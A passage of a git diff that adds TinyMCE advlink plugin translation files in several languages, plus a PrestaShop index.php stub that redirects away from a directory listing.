vierityspalkit","popup_return":"Lis\u00e4\u00e4 \'return false\'","popup_name":"Ikkunan nimi","popup_url":"Ponnahdusikkunan URL",popup:"JavaScript-ponnahdusikkuna","target_blank":"Avaa uudessa ikkunassa","target_top":"Avaa ylimm\u00e4ss\u00e4 ruudussa (korvaa kaikki ruudut)","target_parent":"Avaa ylemm\u00e4ss\u00e4 ikkunassa","target_same":"Avaa t\u00e4ss\u00e4 ikkunassa","anchor_names":"Ankkurit","popup_opts":"Valinta","advanced_props":"Edistyneet asetukset","event_props":"Tapahtumat (events)","popup_props":"Ponnahdusikkunan asetukset","general_props":"Yleiset asetukset","advanced_tab":"Edistynyt","events_tab":"Tapahtumat","popup_tab":"Ponnahdusikkuna","general_tab":"Yleiset",list:"Linkkilista","is_external":"Sy\u00f6tt\u00e4m\u00e4si URL n\u00e4ytt\u00e4\u00e4 olevan sivuston ulkoinen osoite, haluatko lis\u00e4t\u00e4 http://-etuliitteen?","is_email":"Sy\u00f6tt\u00e4m\u00e4si URL n\u00e4ytt\u00e4\u00e4 olevan s\u00e4hk\u00f6postiosoite, haluatko lis\u00e4t\u00e4 mailto:-etuliitteen?",titlefield:"Otsikko",target:"Kohde (target)",url:"Linkin URL",title:"Lis\u00e4\u00e4/muokkaa linkki\u00e4","link_list":"Linkkilista",rtl:"Oikealta vasemmalle",ltr:"Vasemmalta oikealle",accesskey:"Pikan\u00e4pp\u00e4in",tabindex:"Tabulaattori-indeksi",rev:"Kohteen suhde sivuun",rel:"Sivun suhde kohteeseen",mime:"Kohteen MIME-tyyppi",encoding:"Kohteen merkist\u00f6koodaus",langcode:"Kielen koodi","target_langcode":"Kohteen kieli",width:"Leveys",height:"Korkeus"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/fr_dlg.js b/js/tiny_mce2/plugins/advlink/langs/fr_dlg.js new file mode 100755 index 0000000..38e5a78 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/fr_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('fr.advlink_dlg',{"target_name":"Nom de la cible",classes:"Classes",style:"Style",id:"Id","popup_position":"Position (X/Y)",langdir:"Sens de lecture","popup_size":"Taille","popup_dependent":"D\u00e9pendante (seulement sous Mozilla/Firefox)","popup_resizable":"Autoriser le redimensionnement de la fen\u00eatre","popup_location":"Afficher la barre d\'adresse","popup_menubar":"Afficher la barre de menu","popup_toolbar":"Afficher la barre d\'outils","popup_statusbar":"Afficher la barre d\'\u00e9tat","popup_scrollbars":"Afficher les ascenseurs","popup_return":"Ins\u00e9rer \'return false\'","popup_name":"Nom de la fen\u00eatre","popup_url":"URL de la popup",popup:"Popup Javascript","target_blank":"Ouvrir dans une nouvelle fen\u00eatre","target_top":"Ouvrir dans le cadre principal (remplace tous les cadres)","target_parent":"Ouvrir dans la fen\u00eatre / le cadre parent","target_same":"Ouvrir dans cette fen\u00eatre / dans ce cadre","anchor_names":"Ancres","popup_opts":"Options","advanced_props":"Propri\u00e9t\u00e9s avanc\u00e9es","event_props":"\u00c9v\u00e8nements","popup_props":"Propri\u00e9t\u00e9s de la popup","general_props":"Propri\u00e9t\u00e9s g\u00e9n\u00e9rales","advanced_tab":"Avanc\u00e9","events_tab":"\u00c9v\u00e8nements","popup_tab":"Popup","general_tab":"G\u00e9n\u00e9ral",list:"Liste de liens","is_external":"L\'URL que vous avez saisie semble \u00eatre une adresse web externe. Souhaitez-vous ajouter le pr\u00e9fixe \u00ab http:// \u00bb ?","is_email":"L\'URL que vous avez saisie semble \u00eatre une adresse e-mail, souhaitez-vous ajouter le pr\u00e9fixe \u00ab mailto: \u00bb ?",titlefield:"Titre",target:"Cible",url:"URL du lien",title:"Ins\u00e9rer / \u00e9diter un lien","link_list":"Liste des liens",rtl:"Droite \u00e0 gauche",ltr:"Gauche \u00e0 droite",accesskey:"Touche d\'acc\u00e8s rapide",tabindex:"Tabindex",rev:"Relation de la cible \u00e0 la page",rel:"Relation de la page \u00e0 la cible",mime:"Type MIME de la cible",encoding:"Encodage de la cible",langcode:"Code de la langue","target_langcode":"Langue de la cible",width:"Largeur",height:"Hauteur"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/gl_dlg.js b/js/tiny_mce2/plugins/advlink/langs/gl_dlg.js new file mode 100755 index 0000000..8b38a8e --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/gl_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('gl.advlink_dlg',{"target_name":"Nome do obxetivo",classes:"Clases",style:"Estilo",id:"Id","popup_position":"Posici\u00f3n (X/Y)",langdir:"Direcci\u00f3n da lenguaxe","popup_size":"Tama\u00f1o","popup_dependent":"Dependentes (s\u00f3lo Mozilla/Firefox)","popup_resizable":"Permitir cambia-lo tama\u00f1o da vent\u00e1","popup_location":"Barra de localizaci\u00f3n","popup_menubar":"Barra de men\u00fa","popup_toolbar":"Barra de ferramentas","popup_statusbar":"Barra de estado","popup_scrollbars":"Barras de desprazamento","popup_return":"Insertar \'return false\'","popup_name":"Nome da vent\u00e1","popup_url":"URL da vent\u00e1 emerxente",popup:"Javascript popup","target_blank":"Abrir en vent\u00e1 nova","target_top":"Abrir no marco superior (reemplaza todo-los marcos)","target_parent":"Abrir na vent\u00e1 / marco padre","target_same":"Abrir nesta vent\u00e1 / marco","anchor_names":"\u00c1ncoras","popup_opts":"Opci\u00f3ns","advanced_props":"Propiedades avanzadas","event_props":"Eventos","popup_props":"Propiedades de vent\u00e1s emerxentes","general_props":"Propiedades xerales","advanced_tab":"Avanzado","events_tab":"Eventos","popup_tab":"Ventana emerxente","general_tab":"Xeral",list:"Lista de v\u00ednculos","is_external":"A URL introducida semella ser un v\u00ednculo externo, \u00bfDesexa engadi-lo prefixo necesario http://?","is_email":"A URL introducida semella ser un enderezo de e-mail, \u00bfDesexa engadi-lo prefixo necesario mailto:?",titlefield:"T\u00edtulo",target:"Destino",url:"URL do hiperv\u00ednculo",title:"Insertar/editar hiperv\u00ednculo","link_list":"Lista de v\u00ednculo",rtl:"Dereita a esquerda",ltr:"Esquerda a dereita",accesskey:"Tecla de acceso",tabindex:"\u00cdndice de tabulaci\u00f3n",rev:"Relaci\u00f3n obxetivo a p\u00e1xina",rel:"Relaci\u00f3n p\u00e1xina a obxetivo",mime:"Tipo MIME do obxetivo",encoding:"Codificaci\u00f3n de caracteres do obxetivo",langcode:"C\u00f3digo da lenguaxe","target_langcode":"Lenguaxe do obxetivo",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/he_dlg.js b/js/tiny_mce2/plugins/advlink/langs/he_dlg.js new file mode 100755 index 0000000..7ea21bd --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/he_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('he.advlink_dlg',{"target_name":"Target name",classes:"Classes",style:"\u05e1\u05d2\u05e0\u05d5\u05df",id:"\u05de\u05e1\u05e4\u05e8 \u05e1\u05d9\u05d3\u05d5\u05e8\u05d9","popup_position":"\u05de\u05d9\u05e7\u05d5\u05dd (X/Y)",langdir:"\u05db\u05d9\u05d5\u05d5\u05df \u05d4\u05e9\u05e4\u05d4","popup_size":"\u05d2\u05d5\u05d3\u05dc","popup_dependent":"Dependent (Mozilla/Firefox only)","popup_resizable":"\u05d7\u05dc\u05d5\u05df \u05d3\u05d9\u05e0\u05d0\u05de\u05d9(resizable)","popup_location":"\u05d4\u05e6\u05d2\u05ea location bar ","popup_menubar":"\u05d4\u05e6\u05d2\u05ea \u05ea\u05e4\u05e8\u05d9\u05d8","popup_toolbar":"\u05d4\u05e6\u05d2\u05ea \u05e1\u05e8\u05d2\u05dc\u05d9 \u05db\u05dc\u05d9\u05dd","popup_statusbar":"\u05d4\u05e6\u05d2\u05ea \u05e9\u05d5\u05e8\u05ea \u05e1\u05d8\u05d0\u05d8\u05d5\u05e1","popup_scrollbars":"\u05d4\u05e6\u05d2\u05ea \u05e4\u05e1 \u05d2\u05dc\u05d9\u05dc\u05d4","popup_return":"\u05d9\u05e9 \u05dc\u05d4\u05db\u05e0\u05d9\u05e1 \'return false\'","popup_name":"\u05e9\u05dd \u05d4\u05d7\u05dc\u05d5\u05df","popup_url":"\u05d7\u05dc\u05d5\u05df \u05de\u05d5\u05e7\u05e4\u05e5 URL",popup:"\u05d7\u05dc\u05d5\u05df \u05de\u05d5\u05e7\u05e4\u05e5 javascript","target_blank":"\u05e4\u05ea\u05d9\u05d7\u05d4 \u05d1\u05d7\u05dc\u05d5\u05df \u05d7\u05d3\u05e9","target_top":"\u05e4\u05ea\u05d9\u05d7\u05d4 \u05d1\u05d7\u05dc\u05d5\u05df \u05d4\u05d1\u05df \u05d4\u05e8\u05d0\u05e9\u05d9(\u05de\u05d7\u05dc\u05d9\u05e3 \u05d0\u05ea \u05db\u05dc \u05d7\u05dc\u05d5\u05e0\u05d5\u05ea \u05d4\u05d1\u05e0\u05d9\u05dd)","target_parent":"\u05e4\u05ea\u05d9\u05d7\u05d4 \u05d1\u05dc\u05d5\u05df \u05d4\u05d0\u05d1\u05d0/\u05d7\u05dc\u05d5\u05df \u05d1\u05df","target_same":"\u05e4\u05ea\u05d9\u05d7\u05d4 \u05d1\u05d7\u05dc\u05d5\u05df \u05d7\u05d3\u05e9/\u05d7\u05dc\u05d5\u05df \u05d1\u05df","anchor_names":"\u05e7\u05d9\u05e9\u05d5\u05e8 \u05dc\u05e1\u05d9\u05de\u05e0\u05d9\u05d4","popup_opts":"\u05d0\u05e4\u05e9\u05e8\u05d5\u05d9\u05d5\u05ea","advanced_props":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05de\u05ea\u05e7\u05d3\u05de\u05d5\u05ea","event_props":"\u05de\u05d0\u05d5\u05e8\u05e2\u05d5\u05ea","popup_props":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05d7\u05dc\u05d5\u05df \u05de\u05d5\u05e7\u05e4\u05e5","general_props":"\u05ea\u05db\u05d5\u05e0\u05d5\u05ea \u05db\u05dc\u05dc\u05d9\u05d5\u05ea","advanced_tab":"\u05de\u05ea\u05e7\u05d3\u05dd","events_tab":"\u05d0\u05e8\u05d5\u05e2\u05d9\u05dd","popup_tab":"\u05d7\u05dc\u05d5\u05df \u05de\u05d5\u05e7\u05e4\u05e5","general_tab":"\u05db\u05dc\u05dc\u05d9",list:"\u05e8\u05e9\u05d9\u05de\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd","is_external":"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4-URL \u05e9\u05d4\u05d5\u05db\u05e0\u05e1\u05d4 \u05d4\u05d9\u05d0 \u05db\u05db\u05dc \u05d4\u05e0\u05e8\u05d0\u05d4 \u05e7\u05d9\u05e9\u05d5\u05e8 \u05d7\u05d9\u05e6\u05d5\u05e0\u05d9 \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05d0\u05ea \u05d4\u05e7\u05d9\u05d3\u05d5\u05de\u05ea http:// \u05d4\u05e0\u05d3\u05e8\u05e9\u05ea?","is_email":"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4-URL \u05e9\u05d4\u05d5\u05db\u05e0\u05e1\u05d4 \u05d4\u05d9\u05d0 \u05db\u05db\u05dc \u05d4\u05e0\u05e8\u05d0\u05d4 \u05db\u05ea\u05d5\u05d1\u05ea \u05de\u05d9\u05d9\u05dc \u05d4\u05d0\u05dd \u05d1\u05e8\u05e6\u05d5\u05e0\u05da \u05dc\u05d4\u05d5\u05e1\u05d9\u05e3 \u05d0\u05ea \u05d4\u05e7\u05d9\u05d3\u05d5\u05de\u05ea MAILTO \u05d4\u05e0\u05d3\u05e8\u05e9\u05ea?",titlefield:"\u05db\u05d5\u05ea\u05e8\u05ea \u05d4\u05e7\u05d9\u05e9\u05d5\u05e8",target:"\u05d9\u05e2\u05d3",url:"\u05db\u05ea\u05d5\u05d1\u05ea \u05d4\u05e7\u05d9\u05e9\u05d5\u05e8",title:"\u05d4\u05d5\u05e1\u05e4\u05d4/\u05e2\u05e8\u05d9\u05db\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8","link_list":"\u05e8\u05e9\u05d9\u05de\u05ea \u05e7\u05d9\u05e9\u05d5\u05e8\u05d9\u05dd",rtl:"\u05de\u05d9\u05de\u05d9\u05df \u05dc\u05e9\u05de\u05d0\u05dc",ltr:"\u05de\u05e9\u05de\u05d0\u05dc \u05dc\u05d9\u05de\u05d9\u05df",accesskey:"Accesskey",tabindex:"Tabindex",rev:"Relationship target to page",rel:"Relationship page to target",mime:"Target MIME type",encoding:"Target character encoding",langcode:"\u05e7\u05d5\u05d3 \u05d4\u05e9\u05e4\u05d4","target_langcode":"Target language",width:"\u05e8\u05d5\u05d7\u05d1",height:"\u05d2\u05d5\u05d1\u05d4"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/hu_dlg.js b/js/tiny_mce2/plugins/advlink/langs/hu_dlg.js new file mode 100755 index 0000000..9cf1c8f --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/hu_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('hu.advlink_dlg',{"target_name":"C\u00e9l neve",classes:"Class-ok",style:"Style",id:"Id","popup_position":"Poz\u00edci\u00f3 (X/Y)",langdir:"Nyelv \u00edr\u00e1s ir\u00e1ny","popup_size":"M\u00e9ret","popup_dependent":"F\u00fcgg\u0151 (csak Mozilla/Firefox)","popup_resizable":"\u00c1tm\u00e9retezhet\u0151 ablak","popup_location":"C\u00edm mez\u0151 mutat\u00e1sa","popup_menubar":"Men\u00fcsor mutat\u00e1sa","popup_toolbar":"Eszk\u00f6zsor mutat\u00e1sa","popup_statusbar":"St\u00e1tuszsor mutat\u00e1sa","popup_scrollbars":"G\u00f6rget\u0151s\u00e1vok mutat\u00e1sa","popup_return":"\'return false\' besz\u00far\u00e1sa","popup_name":"Ablakn\u00e9v","popup_url":"Felugr\u00f3 ablak URL",popup:"JavaScript felugr\u00f3 ablak","target_blank":"\u00daj ablakban megnyit\u00e1s","target_top":"Azonos ablakban/keretben megnyit\u00e1s legfel\u00fcl","target_parent":"Sz\u00fcl\u0151 ablakban/keretben megnyit\u00e1s","target_same":"Azonos ablakban/keretben megnyit\u00e1s","anchor_names":"Horgonyok","popup_opts":"Be\u00e1ll\u00edt\u00e1sok","advanced_props":"Halad\u00f3 tulajdons\u00e1gok","event_props":"Esem\u00e9nyek","popup_props":"Felugr\u00f3 ablak tulajdons\u00e1gai","general_props":"\u00c1ltal\u00e1nos tulajdons\u00e1gok","advanced_tab":"Halad\u00f3","events_tab":"Esem\u00e9nyek","popup_tab":"Felugr\u00f3 ablak","general_tab":"\u00c1ltal\u00e1nos",list:"Link lista","is_external":"A be\u00edrt URL k\u00fcls\u0151 hivatkoz\u00e1snak t\u0171nik, k\u00edv\u00e1nja a sz\u00fcks\u00e9ges http://-t el\u00e9 tenni?","is_email":"A be\u00edrt URL e-mail c\u00edmnek t\u0171nik, k\u00edv\u00e1nja a sz\u00fcks\u00e9ges mailto:-t el\u00e9 tenni?",titlefield:"C\u00edm",target:"Target",url:"Link URL",title:"Link besz\u00far\u00e1s/szerkeszt\u00e9s","link_list":"Link lista",rtl:"Jobbr\u00f3l balra",ltr:"Balr\u00f3l jobbra",accesskey:"Gyorsgomb",tabindex:"Tabindex",rev:"C\u00e9l kapcsolata az oldallal",rel:"Oldal kapcsolata a c\u00e9llal",mime:"C\u00e9l MIME t\u00edpus",encoding:"C\u00e9l karakterk\u00f3dol\u00e1s",langcode:"Nyelv k\u00f3d","target_langcode":"C\u00e9l nyelv",width:"Sz\u00e9less\u00e9g",height:"Magass\u00e1g"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/id_dlg.js b/js/tiny_mce2/plugins/advlink/langs/id_dlg.js new file mode 100755 index 0000000..deff7d7 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/id_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('id.advlink_dlg',{"target_name":"Nama Target",classes:"Classes",style:"Style",id:"Id","popup_position":"Posisi (X/Y)",langdir:"Bahasa","popup_size":"Ukuran","popup_dependent":"Tergantung (khusus Mozilla/Firefox)","popup_resizable":"Jadikan window resizable","popup_location":"Tampilkan location bar","popup_menubar":"Tampilkan menu bar","popup_toolbar":"Tampilkan toolbars","popup_statusbar":"Tampilkan status bar","popup_scrollbars":"Tampilkan scrollbars","popup_return":"sisipkan \'return false\'","popup_name":"Nama Window","popup_url":"Popup URL",popup:"Javascript popup","target_blank":"Buka pada Window baru","target_top":"Buka pada frame atas (Gantikan semua frame)","target_parent":"Buka pada parent window/frame","target_same":"Buka pada window/frame ini","anchor_names":"Anchors","popup_opts":"Options","advanced_props":"Advanced properties","event_props":"Events","popup_props":"Properti Pop-Up","general_props":"Properti Umum","advanced_tab":"Advanced","events_tab":"Events","popup_tab":"Popup","general_tab":"Umum",list:"Daftar Link","is_external":"URL yang Anda sisipkan tampaknya link eksternal, Anda ingin menambahkan awalan \'http://\'?","is_email":"URL yang Anda sisipkan tampaknya e-mail, Anda ingin menambahkan awalan \'mailto:\'?",titlefield:"Judul",target:"Target",url:"Link URL",title:"Sisipkan/Ubah link","link_list":"Daftar Link",rtl:"Kanan ke kiri",ltr:"Kiri ke kanan",accesskey:"Accesskey",tabindex:"Tabindex",rev:"Hubungan target dengan page",rel:"Hubungan page dengan target",mime:"Target MIME type",encoding:"Target character encoding",langcode:"Kode Bahasa","target_langcode":"Bahasa Target",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/index.php b/js/tiny_mce2/plugins/advlink/langs/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/advlink/langs/it_dlg.js b/js/tiny_mce2/plugins/advlink/langs/it_dlg.js new file mode 100755 index 0000000..bf19659 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/it_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('it.advlink_dlg',{"target_name":"Nome target",classes:"Classe",style:"Stile",id:"Id","popup_position":"Posizione (X/Y)",langdir:"Direzione del testo","popup_size":"Dimensioni","popup_dependent":"Dipendente (Solo in Mozilla/Firefox)","popup_resizable":"Rendi la finestra ridimensionabile","popup_location":"Mostra barra navigazione","popup_menubar":"Mostra barra menu","popup_toolbar":"Mostra barre strumenti","popup_statusbar":"Mostra barra di stato","popup_scrollbars":"Mostra barre di scorrimento","popup_return":"Inserisci \'return false\'","popup_name":"Nome finestra","popup_url":"URL Popup",popup:"Popup Javascript","target_blank":"Apri in una nuova finestra","target_top":"Apri nella cornice superiore (sostituisce tutte le cornici)","target_parent":"Apri nella finestra / cornice genitore","target_same":"Apri in questa finestra / cornice","anchor_names":"Ancore","popup_opts":"Opzioni","advanced_props":"Propriet\u00e0 avanzate","event_props":"Eventi","popup_props":"Propriet\u00e0 popup","general_props":"Propriet\u00e0 generali","advanced_tab":"Avanzate","events_tab":"Eventi","popup_tab":"Popup","general_tab":"Generale",list:"Lista collegamenti","is_external":"L\'URL inserito sembra essere un link esterno. Aggiungere il necessario prefisso http:// ?","is_email":"L\'URL inserito sembra essere un indirizzo email. Aggiungere il necessario prefisso mailto: ?",titlefield:"Titolo",target:"Target",url:"URL collegamento",title:"Inserisci/modifica link","link_list":"Lista collegamenti",rtl:"Destra verso sinistra",ltr:"Sinistra verso destra",accesskey:"Carattere di accesso",tabindex:"Indice tabulazione",rev:"Relazione da target a pagina",rel:"Relazione da pagina a target",mime:"Tipo MIME del target",encoding:"Codifica carattere del target",langcode:"Lingua","target_langcode":"Lingua del target",width:"Larghezza",height:"Altezza"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/ja_dlg.js b/js/tiny_mce2/plugins/advlink/langs/ja_dlg.js new file mode 100755 index 0000000..68ebcd2 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/ja_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ja.advlink_dlg',{"target_name":"\u30bf\u30fc\u30b2\u30c3\u30c8\u306e\u540d\u524d",classes:"\u30af\u30e9\u30b9",style:"\u30b9\u30bf\u30a4\u30eb",id:"ID","popup_position":"\u4f4d\u7f6e (X/Y)",langdir:"\u6587\u7ae0\u306e\u65b9\u5411","popup_size":"\u5927\u304d\u3055","popup_dependent":"\u4f9d\u5b58(Mozilla\u3068Firefox\u3060\u3051)","popup_resizable":"\u30a6\u30a4\u30f3\u30c9\u30a6\u306e\u30b5\u30a4\u30ba\u5909\u66f4\u3092\u8a31\u53ef","popup_location":"\u30a2\u30c9\u30ec\u30b9\u30d0\u30fc\u3092\u8868\u793a","popup_menubar":"\u30e1\u30cb\u30e5\u30fc\u30d0\u30fc\u3092\u8868\u793a","popup_toolbar":"\u30c4\u30fc\u30eb\u30d0\u30fc\u3092\u8868\u793a","popup_statusbar":"\u30b9\u30c6\u30fc\u30bf\u30b9\u30d0\u30fc\u3092\u8868\u793a","popup_scrollbars":"\u30b9\u30af\u30ed\u30fc\u30eb\u30d0\u30fc\u3092\u8868\u793a","popup_return":"\'return false\'\u3092\u633f\u5165","popup_name":"\u30a6\u30a4\u30f3\u30c9\u30a6\u306e\u540d\u524d","popup_url":"\u30dd\u30c3\u30d7\u30a2\u30c3\u30d7\u306eURL",popup:"Javascript\u30dd\u30c3\u30d7\u30a2\u30c3\u30d7","target_blank":"\u65b0\u3057\u3044\u30a6\u30a4\u30f3\u30c9\u30a6\u3067\u958b\u304f","target_top":"\u30c8\u30c3\u30d7\u306e\u30d5\u30ec\u30fc\u30e0\u3067\u958b\u304f(\u3059\u3079\u3066\u306e\u30d5\u30ec\u30fc\u30e0\u3092\u7f6e\u304d\u63db\u3048)","target_parent":"\u89aa\u30a6\u30a4\u30f3\u30c9\u30a6/\u89aa\u30d5\u30ec\u30fc\u30e0\u3067\u958b\u304f","target_same":"\u3053\u306e\u30a6\u30a4\u30f3\u30c9\u30a6/\u30d5\u30ec\u30fc\u30e0\u3067\u958b\u304f","anchor_names":"\u30a2\u30f3\u30ab\u30fc","popup_opts":"\u30aa\u30d7\u30b7\u30e7\u30f3","advanced_props":"\u9ad8\u5ea6\u306a\u5c5e\u6027","event_props":"\u30a4\u30d9\u30f3\u30c8","popup_props":"\u30dd\u30c3\u30d7\u30a2\u30c3\u30d7","general_props":"\u4e00\u822c","advanced_tab":"\u5c02\u9580\u7684","events_tab":"\u30a4\u30d9\u30f3\u30c8","popup_tab":"\u30dd\u30c3\u30d7\u30a2\u30c3\u30d7","general_tab":"\u4e00\u822c",list:"\u30ea\u30f3\u30af\u306e\u4e00\u89a7","is_external":"\u5165\u529b\u3057\u305fURL\u306f\u5916\u90e8\u306e\u30ea\u30f3\u30af\u306e\u3088\u3046\u3067\u3059\u3002\u30ea\u30f3\u30af\u306b http:// \u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b?","is_email":"\u5165\u529b\u3057\u305fURL\u306f\u96fb\u5b50\u30e1\u30fc\u30eb\u30a2\u30c9\u30ec\u30b9\u306e\u3088\u3046\u3067\u3059\u3002\u30ea\u30f3\u30af\u306b mailto: \u3092\u8ffd\u52a0\u3057\u307e\u3059\u304b?",titlefield:"\u30bf\u30a4\u30c8\u30eb",target:"\u30bf\u30fc\u30b2\u30c3\u30c8",url:"\u30ea\u30f3\u30af\u306eURL",title:"\u30ea\u30f3\u30af\u306e\u633f\u5165/\u7de8\u96c6","link_list":"\u30ea\u30f3\u30af\u306e\u4e00\u89a7",rtl:"\u53f3\u304b\u3089\u5de6",ltr:"\u5de6\u304b\u3089\u53f3",accesskey:"\u30a2\u30af\u30bb\u30b9\u30ad\u30fc",tabindex:"\u30bf\u30d6\u30a4\u30f3\u30c7\u30c3\u30af\u30b9",rev:"\u30bf\u30fc\u30b2\u30c3\u30c8\u304b\u3089\u30da\u30fc\u30b8\u306e\u95a2\u4fc2",rel:"\u30da\u30fc\u30b8\u304b\u3089\u30bf\u30fc\u30b2\u30c3\u30c8\u306e\u95a2\u4fc2",mime:"\u30bf\u30fc\u30b2\u30c3\u30c8\u306eMIME\u30bf\u30a4\u30d7",encoding:"\u30bf\u30fc\u30b2\u30c3\u30c8\u306e\u6587\u5b57\u30a8\u30f3\u30b3\u30fc\u30c7\u30a3\u30f3\u30b0",langcode:"\u8a00\u8a9e\u30b3\u30fc\u30c9","target_langcode":"\u30bf\u30fc\u30b2\u30c3\u30c8\u306e\u8a00\u8a9e",width:"\u5e45",height:"\u9ad8\u3055"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/ka_dlg.js b/js/tiny_mce2/plugins/advlink/langs/ka_dlg.js new file mode 100755 index 0000000..5ea6a4d --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/ka_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ka.advlink_dlg',{"target_name":"\u10db\u10d8\u10d6\u10dc\u10d8\u10e1 \u10e1\u10d0\u10ee\u10d4\u10da\u10d8",classes:"\u10d9\u10da\u10d0\u10e1\u10d4\u10d1\u10d8",style:"\u10e1\u10e2\u10d8\u10da\u10d8",id:"\u10e1\u10d0\u10ee\u10d4\u10da\u10d8","popup_position":"\u10de\u10dd\u10d6\u10d8\u10ea\u10d8\u10d0 (X/Y)",langdir:"\u10e2\u10d4\u10e5\u10e1\u10e2\u10d8\u10e1 \u10db\u10d8\u10db\u10d0\u10e0\u10d7\u10e3\u10da\u10d1\u10d0","popup_size":"\u10d6\u10dd\u10db\u10d0","popup_dependent":"\u10d3\u10d0\u10db\u10dd\u10d9\u10d8\u10d3\u10d4\u10d1\u10e3\u10da\u10d4\u10d1\u10d0 (\u10db\u10ee\u10dd\u10da\u10dd\u10d3 Firefox)","popup_resizable":"\u10d6\u10dd\u10db\u10d8\u10e1 \u10ea\u10d5\u10da\u10d8\u10da\u10d4\u10d1\u10d8\u10e1 \u10d3\u10d0\u10e8\u10d5\u10d4\u10d1\u10d0","popup_location":"\u10d2\u10d0\u10dc\u10da\u10d0\u10d2\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10dc\u10d4\u10da\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10e9\u10d4\u10dc\u10d0","popup_menubar":"\u10db\u10d4\u10dc\u10d8\u10e3\u10e1 \u10d2\u10d0\u10db\u10dd\u10e9\u10d4\u10dc\u10d0","popup_toolbar":"\u10d8\u10dc\u10e1\u10e2\u10e0\u10e3\u10db\u10d4\u10dc\u10e2\u10d4\u10d1\u10d8\u10e1 \u10de\u10d0\u10dc\u10d4\u10da\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10e9\u10d4\u10dc\u10d0","popup_statusbar":"\u10db\u10d3\u10d2\u10dd\u10db\u10d0\u10e0\u10d4\u10dd\u10d1\u10d8\u10e1 \u10e1\u10e2\u10e0\u10d8\u10e5\u10dd\u10dc\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10e9\u10d4\u10dc\u10d0","popup_scrollbars":"\u10d2\u10d0\u10d3\u10d0\u10ee\u10d5\u10d4\u10d5\u10d8\u10e1 \u10d5\u10d4\u10da\u10d4\u10d1\u10d8\u10e1 \u10d2\u10d0\u10db\u10dd\u10e9\u10d4\u10dc\u10d0","popup_return":"\'return false\' \u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d0","popup_name":"\u10e4\u10d0\u10dc\u10ef\u10e0\u10d8\u10e1 \u10e1\u10d0\u10d7\u10d0\u10e3\u10e0\u10d8","popup_url":"\u10db\u10d8\u10e1\u10d0\u10db\u10d0\u10e0\u10d7\u10d8",popup:"\u10d2\u10d0\u10e8\u10da\u10d0 Java-\u10e1 \u10d2\u10d0\u10db\u10dd\u10e7\u10d4\u10dc\u10d4\u10d1\u10d8\u10d7","target_blank":"\u10d0\u10ee\u10d0\u10da \u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0\u10e8\u10d8 \u10d2\u10d0\u10ee\u10e1\u10dc\u10d0","target_top":"\u10d6\u10d4\u10d3\u10d0 \u10d9\u10d0\u10d3\u10e0\u10e8\u10d8 \u10d2\u10d0\u10ee\u10e1\u10dc\u10d0","target_parent":"\u10e1\u10d0\u10d9\u10e3\u10d7\u10d0\u10e0\u10d0 \u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0\u10e8\u10d8 \u10d2\u10d0\u10ee\u10e1\u10dc\u10d0","target_same":"\u10db\u10dd\u10ea\u10d4\u10db\u10e3\u10da \u10e4\u10d0\u10dc\u10ef\u10d0\u10e0\u10d0\u10e8\u10d8 \u10d2\u10d0\u10ee\u10e1\u10dc\u10d0","anchor_names":"\u10e6\u10e3\u10d6\u10d4\u10d1\u10d8","popup_opts":"\u10db\u10d0\u10ee\u10d0\u10e1\u10d8\u10d0\u10d7\u10d4\u10d1\u10da\u10d4\u10d1\u10d8","advanced_props":"\u10d3\u10d0\u10db\u10d0\u10e2\u10d4\u10d1\u10d8\u10d7\u10d8 